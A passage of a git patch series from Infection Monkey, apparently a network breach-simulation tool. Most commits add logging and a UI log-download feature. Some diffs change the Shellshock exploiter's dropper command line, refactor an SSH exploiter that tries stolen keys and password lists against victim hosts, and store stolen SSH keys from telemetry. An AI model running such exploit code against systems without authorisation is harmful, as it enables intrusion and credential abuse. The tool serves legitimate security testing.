"4.17.8", + "lodash": "4.17.10", + "lodash-es": "4.17.10", "loose-envify": "1.3.1", "prop-types": "15.6.1" }, @@ -11453,14 +11755,14 @@ "integrity": "sha512-6Bl6XsDT1ntE0lHbIhr4Kp2PGcleGZ66qu5Jqk8lc0Xc/IeG6gVLmwUGs/K0Us+L8VWoKgj0uWdPMataOsm31w==" }, "lodash": { - "version": "4.17.5", - "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.5.tgz", - "integrity": "sha512-svL3uiZf1RwhH+cWrfZn3A4+U58wbP0tGVTLQPbjplZxZ8ROD9VLuNgsRniTlLe7OlSqR79RUehXgpBW/s0IQw==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.10.tgz", + "integrity": "sha512-UejweD1pDoXu+AD825lWwp4ZGtSwgnpZxb3JDViD7StjQz+Nb/6l093lx4OQ0foGWNRoc19mWy7BzL+UAK2iVg==" }, "lodash-es": { - "version": "4.17.8", - "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.8.tgz", - "integrity": "sha512-I9mjAxengFAleSThFhhAhvba6fsO0hunb9/0sQ6qQihSZsJRBofv2rYH58WXaOb/O++eUmYpCLywSQ22GfU+sA==" + "version": "4.17.10", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.10.tgz", + "integrity": "sha512-iesFYPmxYYGTcmQK0sL8bX3TGHyM6b2qREaB4kamHfQyfPJP0xgoGxp19nsH16nsfquLdiyKyX3mQkfiSGV8Rg==" } } }, @@ -11502,9 +11804,9 @@ } }, "react-table": { - "version": "6.8.0", - "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.0.tgz", - "integrity": "sha1-XOQC63Nd9oU0wD2rs/qgMUeLalg=", + "version": "6.8.2", + "resolved": "https://registry.npmjs.org/react-table/-/react-table-6.8.2.tgz", + "integrity": "sha1-Olrvq8hZUzANFnhvowfDBhDbmtw=", "requires": { "classnames": "2.2.5" } diff --git a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js index 099c20a43..a23dd1d36 100644 --- a/monkey_island/cc/ui/src/components/pages/TelemetryPage.js +++ b/monkey_island/cc/ui/src/components/pages/TelemetryPage.js @@ -1,8 +1,9 @@ import React from 'react'; -import {Col} from 'react-bootstrap'; +import {Button, Col} from 'react-bootstrap'; import JSONTree from 'react-json-tree' import {DataTable} from 'react-data-components'; import AuthComponent from '../AuthComponent'; +import download from 'downloadjs' const renderJson = (val) => ; const renderTime = (val) => val.split('.')[0]; @@ -28,21 +29,47 @@ class TelemetryPageComponent extends AuthComponent { .then(res => this.setState({data: res.objects})); }; +downloadIslandLog = () => { + this.authFetch('/api/log/island/download') + .then(res => res.json()) + .then(res => { + let filename = 'Island_log' + let logContent = (res['log_file']); + download(logContent, filename, 'text/plain'); + }); + }; + render() { return ( - -

    Log

    -
    - -
    - +
    +
    + +

    Log

    +
    + +
    + +
    +
    + +

    Monkey Island Logs

    +
    +

    Download Monkey Island internal log file

    + +
    + +
    +
    ); } } From 05c4bb7ac724f2cc8048478189ae7853b9fb70e8 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 10:44:47 +0300 Subject: [PATCH 12/19] Integrated an option to download the monkey island log files from the Log page in the web app. --- monkey_island/cc/island_logger_default_config.json | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 0435222f6..76e851fbc 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -23,16 +23,6 @@ "maxBytes": 10485760, "backupCount": 20, "encoding": "utf8" - }, - - "error_file_handler": { - "class": "logging.handlers.RotatingFileHandler", - "level": "ERROR", - "formatter": "simple", - "filename": "errors.log", - "maxBytes": 10485760, - "backupCount": 20, - "encoding": "utf8" } }, From 509558fbb2443f441815cb1c455254fd0bbf8dd4 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 13:18:33 +0300 Subject: [PATCH 13/19] Changed the log formatting a bit, added file and function name and line numbers to the log string. --- monkey_island/cc/island_logger_default_config.json | 2 +- monkey_island/cc/resources/client_run.py | 4 ++++ 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey_island/cc/island_logger_default_config.json b/monkey_island/cc/island_logger_default_config.json index 76e851fbc..e41ca3d9b 100644 --- a/monkey_island/cc/island_logger_default_config.json +++ b/monkey_island/cc/island_logger_default_config.json @@ -3,7 +3,7 @@ "disable_existing_loggers": false, "formatters": { "simple": { - "format": "%(asctime)s - %(name)s - %(levelname)s - %(message)s" + "format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s" } }, diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index 111c0d1a2..c2e44c9aa 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -1,3 +1,4 @@ +import logging from flask import request, jsonify import flask_restful @@ -5,6 +6,8 @@ from cc.services.node import NodeService __author__ = 'itay.mizeretz' +logger = logging.getLogger(__name__) + class ClientRun(flask_restful.Resource): def get(self): @@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: + logger.info("") is_monkey_running = False return jsonify(is_running=is_monkey_running) From c7ed02b98e2e03c4a64e121bc47d68f9deeb23af Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:38:54 +0300 Subject: [PATCH 14/19] Bugfix, run Shellshock attack as dropper rather than monkey --- infection_monkey/exploit/shellshock.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/infection_monkey/exploit/shellshock.py b/infection_monkey/exploit/shellshock.py index bca03b6ea..e1ef246b6 100644 --- a/infection_monkey/exploit/shellshock.py +++ b/infection_monkey/exploit/shellshock.py @@ -8,7 +8,7 @@ import requests from exploit import HostExploiter from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG +from model import DROPPER_ARG from shellshock_resources import CGI_FILES from tools import build_monkey_commandline @@ -133,7 +133,7 @@ class ShellShockExploiter(HostExploiter): self.attack_page(url, header, run_path) # run the monkey - cmdline = "%s %s" % (dropper_target_path_linux, MONKEY_ARG) + cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG) cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1) + ' & ' run_path = exploit + cmdline self.attack_page(url, header, run_path) From 9fa92d0c88f1e7146892b1cb9e9b6423c61b2314 Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 31 May 2018 15:39:36 +0300 Subject: [PATCH 15/19] Fix typo in warning --- monkey_island/cc/ui/src/components/pages/ReportPage.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey_island/cc/ui/src/components/pages/ReportPage.js index bec4f3625..a116a320a 100644 --- a/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,7 +343,7 @@ class ReportPageComponent extends AuthComponent {
  • Weak segmentation - Machines from different segments are able to communicate.
  • : null} {this.state.report.overview.warnings[this.Warning.TUNNEL] ? -
  • Weak segmentation - machines were able to communicate over unused ports.
  • : null} +
  • Weak segmentation - Machines were able to communicate over unused ports.
  • : null}
: From ad0d9f4567a957f193207b55cce552cc8b50302d Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 18:35:33 +0300 Subject: [PATCH 16/19] Added more log lines --- monkey_island/cc/environment/environment.py | 1 + .../cc/resources/monkey_configuration.py | 1 + monkey_island/cc/resources/monkey_download.py | 6 ++++++ monkey_island/cc/resources/root.py | 6 ++++++ monkey_island/cc/services/config.py | 7 +++++++ monkey_island/cc/services/report.py | 15 +++++++++++++++ 6 files changed, 36 insertions(+) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index 11b868070..ebe456b3e 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,6 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() + logger.info('Monkey\'s env is: {0}'.format(env)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 6dab8dddb..22492344b 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,6 +19,7 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() + else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() diff --git a/monkey_island/cc/resources/monkey_download.py b/monkey_island/cc/resources/monkey_download.py index ac1f9de2d..25e67fdb2 100644 --- a/monkey_island/cc/resources/monkey_download.py +++ b/monkey_island/cc/resources/monkey_download.py @@ -1,3 +1,4 @@ +import logging import json import os @@ -6,6 +7,8 @@ import flask_restful __author__ = 'Barak' +logger = logging.getLogger(__name__) + MONKEY_DOWNLOADS = [ { @@ -42,7 +45,10 @@ MONKEY_DOWNLOADS = [ def get_monkey_executable(host_os, machine): for download in MONKEY_DOWNLOADS: if host_os == download.get('type') and machine == download.get('machine'): + logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine)) return download + logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}' + .format(host_os, machine)) return None diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 61c788d7e..56a7695c7 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -1,4 +1,5 @@ from datetime import datetime +import logging import flask_restful from flask import request, make_response, jsonify @@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses __author__ = 'Barak' +logger = logging.getLogger(__name__) + class Root(flask_restful.Resource): @@ -42,6 +45,7 @@ class Root(flask_restful.Resource): # We can't drop system collections. [mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')] ConfigService.init_config() + logger.info('DB was reset') return jsonify(status='OK') @staticmethod @@ -50,6 +54,7 @@ class Root(flask_restful.Resource): mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}}, upsert=False, multi=True) + logger.info('Kill all monkeys was called') return jsonify(status='OK') @staticmethod @@ -59,6 +64,7 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False + logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done) diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index ebcf2a3ea..ef87a8f3d 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -1,6 +1,7 @@ import copy import collections import functools +import logging from jsonschema import Draft4Validator, validators from cc.database import mongo @@ -10,6 +11,8 @@ from cc.utils import local_ip_addresses __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + WARNING_SIGN = u" \u26A0" SCHEMA = { @@ -893,6 +896,7 @@ class ConfigService: if should_encrypt: ConfigService.encrypt_config(config_json) mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True) + logger.info('monkey config was updated') @staticmethod def init_default_config(): @@ -908,6 +912,7 @@ class ConfigService: config = copy.deepcopy(ConfigService.default_config) if should_encrypt: ConfigService.encrypt_config(config) + logger.info("Default config was called") return config @staticmethod @@ -921,6 +926,7 @@ class ConfigService: config = ConfigService.get_default_config(True) ConfigService.set_server_ips_in_config(config) ConfigService.update_config(config, should_encrypt=False) + logger.info('Monkey config reset was called') @staticmethod def set_server_ips_in_config(config): @@ -937,6 +943,7 @@ class ConfigService: initial_config['name'] = 'initial' initial_config.pop('_id') mongo.db.config.insert(initial_config) + logger.info('Monkey config was inserted to mongo and saved') @staticmethod def _extend_config_with_default(validator_class): diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index f77e96dd9..c69335d71 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -1,4 +1,5 @@ import ipaddress +import logging from enum import Enum from cc.database import mongo @@ -10,6 +11,9 @@ from cc.utils import local_ip_addresses, get_subnets __author__ = "itay.mizeretz" +logger = logging.getLogger(__name__) + + class ReportService: def __init__(self): pass @@ -77,6 +81,8 @@ class ReportService: creds = ReportService.get_azure_creds() machines = set([instance['origin'] for instance in creds]) + logger.info('Azure issues generated for reporting') + return [ { 'type': 'azure_password', @@ -103,6 +109,8 @@ class ReportService: } for node in nodes] + logger.info('Scanned nodes generated for reporting') + return nodes @staticmethod @@ -124,6 +132,8 @@ class ReportService: } for monkey in exploited] + logger.info('Exploited nodes generated for reporting') + return exploited @staticmethod @@ -147,6 +157,7 @@ class ReportService: 'origin': origin } ) + logger.info('Stolen creds generated for reporting') return creds @staticmethod @@ -167,6 +178,8 @@ class ReportService: azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password', 'origin': origin} for user in azure_users] creds.extend(azure_leaked_users) + + logger.info('Azure machines creds generated for reporting') return creds @staticmethod @@ -318,6 +331,7 @@ class ReportService: if machine not in issues_dict: issues_dict[machine] = [] issues_dict[machine].append(issue) + logger.info('Issues generated for reporting') return issues_dict @staticmethod @@ -405,6 +419,7 @@ class ReportService: {'name': 'generated_report'}, {'$set': {'value': True}}, upsert=True) + logger.info("Report marked as generated.") @staticmethod def get_report(): From f37fabaf757beb261d8a2cfabda2950dd47f7353 Mon Sep 17 00:00:00 2001 From: "maor.rayzin" Date: Thu, 31 May 2018 19:27:26 +0300 Subject: [PATCH 17/19] I've added logs to cover these situations and modules: Configuration reset Configuration Insert Configuration Update Report steps Monkey downloads Env startup logs Also I've changed the logging init position so it covers every functions from main, some functions and vars are being called and init from import level, in order to log those situations I had to init the log system right on the beginning of the module. --- monkey_island/cc/environment/environment.py | 2 +- monkey_island/cc/main.py | 9 +++++---- monkey_island/cc/resources/client_run.py | 2 +- monkey_island/cc/resources/island_logs.py | 4 ++-- monkey_island/cc/resources/monkey_configuration.py | 1 - 5 files changed, 9 insertions(+), 9 deletions(-) diff --git a/monkey_island/cc/environment/environment.py b/monkey_island/cc/environment/environment.py index ebe456b3e..094b9c235 100644 --- a/monkey_island/cc/environment/environment.py +++ b/monkey_island/cc/environment/environment.py @@ -22,7 +22,7 @@ def load_env_from_file(): try: __env_type = load_env_from_file() env = ENV_DICT[__env_type]() - logger.info('Monkey\'s env is: {0}'.format(env)) + logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__)) except Exception: logger.error('Failed initializing environment', exc_info=True) raise diff --git a/monkey_island/cc/main.py b/monkey_island/cc/main.py index 41e2ba576..c1133a9c8 100644 --- a/monkey_island/cc/main.py +++ b/monkey_island/cc/main.py @@ -9,11 +9,15 @@ BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) if BASE_PATH not in sys.path: sys.path.insert(0, BASE_PATH) +from cc.island_logger import json_setup_logging +# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top. +json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) +logger = logging.getLogger(__name__) + from cc.app import init_app from cc.utils import local_ip_addresses from cc.environment.environment import env from cc.database import is_db_server_up -from cc.island_logger import json_setup_logging def main(): @@ -21,9 +25,6 @@ def main(): from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop - json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG) - logger = logging.getLogger(__name__) - mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url()) while not is_db_server_up(mongo_url): diff --git a/monkey_island/cc/resources/client_run.py b/monkey_island/cc/resources/client_run.py index c2e44c9aa..0e4be42e7 100644 --- a/monkey_island/cc/resources/client_run.py +++ b/monkey_island/cc/resources/client_run.py @@ -20,7 +20,7 @@ class ClientRun(flask_restful.Resource): if monkey is not None: is_monkey_running = not monkey["dead"] else: - logger.info("") + logger.info("Monkey is not running") is_monkey_running = False return jsonify(is_running=is_monkey_running) diff --git a/monkey_island/cc/resources/island_logs.py b/monkey_island/cc/resources/island_logs.py index 1ca1a8cdf..971306c14 100644 --- a/monkey_island/cc/resources/island_logs.py +++ b/monkey_island/cc/resources/island_logs.py @@ -1,6 +1,7 @@ -import flask_restful import logging +import flask_restful + from cc.auth import jwt_required from cc.services.island_logs import IslandLogService @@ -16,4 +17,3 @@ class IslandLog(flask_restful.Resource): return IslandLogService.get_log_file() except Exception as e: logger.error('Monkey Island logs failed to download', exc_info=True) - diff --git a/monkey_island/cc/resources/monkey_configuration.py b/monkey_island/cc/resources/monkey_configuration.py index 22492344b..6dab8dddb 100644 --- a/monkey_island/cc/resources/monkey_configuration.py +++ b/monkey_island/cc/resources/monkey_configuration.py @@ -19,7 +19,6 @@ class MonkeyConfiguration(flask_restful.Resource): config_json = json.loads(request.data) if 'reset' in config_json: ConfigService.reset_config() - else: ConfigService.update_config(config_json, should_encrypt=True) return self.get() From 0503f90168af1a3fd733d3aa03b40f2a3f5006d8 Mon Sep 17 00:00:00 2001 From: Vakaris Date: Mon, 4 Jun 2018 12:07:10 +0300 Subject: [PATCH 18/19] Notes fixed --- infection_monkey/exploit/sshexec.py | 45 +++++++++++++++---------- monkey_island/cc/resources/telemetry.py | 1 + monkey_island/cc/services/config.py | 8 +++-- monkey_island/cc/services/report.py | 2 +- 4 files changed, 35 insertions(+), 21 deletions(-) diff --git a/infection_monkey/exploit/sshexec.py b/infection_monkey/exploit/sshexec.py index 2209a0685..7c6cc6509 100644 --- a/infection_monkey/exploit/sshexec.py +++ b/infection_monkey/exploit/sshexec.py @@ -32,21 +32,7 @@ class SSHExploiter(HostExploiter): LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) self._update_timestamp = time.time() - def exploit_host(self): - ssh = paramiko.SSHClient() - ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) - - port = SSH_PORT - # if ssh banner found on different port, use that port. - for servkey, servdata in self.host.services.items(): - if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): - port = int(servkey.replace('tcp-', '')) - - is_open, _ = check_tcp_port(self.host.ip_addr, port) - if not is_open: - LOG.info("SSH port is closed on %r, skipping", self.host) - return False - + def exploit_with_ssh_keys(self, port, ssh): user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs() exploited = False @@ -67,8 +53,8 @@ class SSHExploiter(HostExploiter): timeout=None) LOG.debug("Successfully logged in %s using %s users private key", self.host, ssh_string) - self.report_login_attempt(True, user, ssh_key=ssh_string) exploited = True + self.report_login_attempt(True, user, ssh_key=ssh_string) break except Exception as exc: LOG.debug("Error logging into victim %r with %s" @@ -76,9 +62,13 @@ class SSHExploiter(HostExploiter): ssh_string) self.report_login_attempt(False, user, ssh_key=ssh_string) continue + return exploited + def exploit_with_login_creds(self, port, ssh): user_password_pairs = self._config.get_exploit_user_password_pairs() + exploited = False + for user, curpass in user_password_pairs: try: ssh.connect(self.host.ip_addr, @@ -89,8 +79,8 @@ class SSHExploiter(HostExploiter): LOG.debug("Successfully logged in %r using SSH (%s : %s)", self.host, user, curpass) - self.report_login_attempt(True, user, curpass) exploited = True + self.report_login_attempt(True, user, curpass) break except Exception as exc: @@ -99,6 +89,27 @@ class SSHExploiter(HostExploiter): user, curpass, exc) self.report_login_attempt(False, user, curpass) continue + return exploited + + def exploit_host(self): + ssh = paramiko.SSHClient() + ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) + + port = SSH_PORT + # if ssh banner found on different port, use that port. + for servkey, servdata in self.host.services.items(): + if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'): + port = int(servkey.replace('tcp-', '')) + + is_open, _ = check_tcp_port(self.host.ip_addr, port) + if not is_open: + LOG.info("SSH port is closed on %r, skipping", self.host) + return False + + #Check for possible ssh exploits + exploited = self.exploit_with_ssh_keys(port, ssh) + if not exploited: + exploited = self.exploit_with_login_creds(port, ssh) if not exploited: LOG.debug("Exploiter SSHExploiter is giving up...") diff --git a/monkey_island/cc/resources/telemetry.py b/monkey_island/cc/resources/telemetry.py index 540802ca1..01caf3003 100644 --- a/monkey_island/cc/resources/telemetry.py +++ b/monkey_island/cc/resources/telemetry.py @@ -171,6 +171,7 @@ class Telemetry(flask_restful.Resource): ssh_info = telemetry_json['data']['ssh_info'] Telemetry.encrypt_system_info_ssh_keys(ssh_info) if telemetry_json['data']['network_info']['networks']: + # We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info) Telemetry.add_system_info_ssh_keys_to_config(ssh_info) if 'credentials' in telemetry_json['data']: diff --git a/monkey_island/cc/services/config.py b/monkey_island/cc/services/config.py index 46773c0fb..11f58481f 100644 --- a/monkey_island/cc/services/config.py +++ b/monkey_island/cc/services/config.py @@ -510,6 +510,9 @@ SCHEMA = { "type": "array", "uniqueItems": True, "default": [], + "items": { + "type": "string" + }, "description": "List of SSH key pairs to use, when trying to ssh into servers" } } @@ -898,9 +901,8 @@ class ConfigService: @staticmethod def ssh_add_keys(public_key, private_key, user, ip): - if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal'], False, False) - ['exploits']['exploit_ssh_keys'], - user, ip): + if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'], + False, False), user, ip): ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys', {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}) diff --git a/monkey_island/cc/services/report.py b/monkey_island/cc/services/report.py index 15b11e877..561ef004b 100644 --- a/monkey_island/cc/services/report.py +++ b/monkey_island/cc/services/report.py @@ -404,7 +404,7 @@ class ReportService: elif issue['type'] == 'ssh_key': issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \ - issue['username'] in config_users: + issue['username'] in config_users or issue['type'] == 'ssh': issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'): issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True From de832780b62b65a29c55d7140710d4349da2b02e Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Wed, 6 Jun 2018 13:54:21 +0300 Subject: [PATCH 19/19] Removed overly verbose logging line, triggered every 2 seconds --- monkey_island/cc/resources/root.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey_island/cc/resources/root.py b/monkey_island/cc/resources/root.py index 56a7695c7..1d9141589 100644 --- a/monkey_island/cc/resources/root.py +++ b/monkey_island/cc/resources/root.py @@ -64,7 +64,6 @@ class Root(flask_restful.Resource): infection_done = NodeService.is_monkey_finished_running() if not infection_done: report_done = False - logger.info('Report generation cannot be completed, infection is not done.') else: report_done = ReportService.is_report_generated() return dict(run_server=True, run_monkey=is_any_exists, infection_done=infection_done, report_done=report_done)